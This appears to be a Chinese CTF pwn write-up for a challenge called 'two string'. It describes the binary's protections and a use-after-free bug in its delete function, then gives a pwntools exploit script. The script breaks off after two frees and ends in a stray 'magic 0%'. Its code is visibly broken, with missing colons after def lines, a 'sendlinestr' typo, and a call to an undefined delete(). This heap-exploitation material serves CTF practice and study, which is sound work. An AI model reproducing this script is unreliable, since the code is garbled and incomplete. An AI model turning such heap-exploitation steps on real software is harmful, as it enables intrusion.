two string

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
RELRO           STACK CANARY      NX            PIE         
Partial RELRO Canary found NX enabled No PIE

具体步骤在uaf实例 差不多的题目这里直接简单解题

漏洞函数

int sub_E56()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("Please input index : ");
v1 = sub_BE4();
if ( v1 < 0 && (unsigned int)v1 > 0x1F || !qword_202040[v1] )
return puts("Index error!");
free((void *)*qword_202040[v1]);
free(qword_202040[v1]);
qword_202040[v1] = 0LL;
return puts("Delete success!");
}

uaf漏洞

xfgg@ubuntu:~/Desktop$ ./pwn
1. create string
2. display string
3. delete string
4. merge string
5. merge strings
6. exit
>>> 1
Please enter the size of string : 2
Please enter the string : 1

create string 的结构
struct palyer{
int size;
int string;
}

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
编写dynelf查看内存结构
def create_string(size,string)
p.recvuntil(" ")
p.sendline("1")
p.recvuntil(' of string:')
p.sendlinestr(size)
p.recvuntil(' the string:')
p.sendline (string)

def display_string(index)
p.recvuntil(" ")
p.sendline("2")
p.recvuntil(' index:')
p.sendline(str(index))

def delete_string(index)
p.recvuntil(" ")
p.sendline("3")
p.recvuntil(' index:')
p.sendline(str(index))

create_string(32,'aaa')
create_string(32,'bbb')

delete(1)
delete(0) ### free掉创建的两个string 接下来就要构造fake chunk进行攻击

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = process('/home/xfgg/pwn')
elf = ELF('/home/xfgg/pwn')

def create_string(size,string)
p.recvuntil(" ")
p.sendline("1")
p.recvuntil(' of string:')
p.sendlinestr(size)
p.recvuntil(' the string:')
p.sendline (string)

def display_string(index)
p.recvuntil(" ")
p.sendline("2")
p.recvuntil(' index:')
p.sendline(str(index))

def delete_string(index)
p.recvuntil(" ")
p.sendline("3")
p.recvuntil(' index:')
p.sendline(str(index))

create_string(32,'aaa')
create_string(32,'bbb')

delete(1)
delete(0)

magic
0%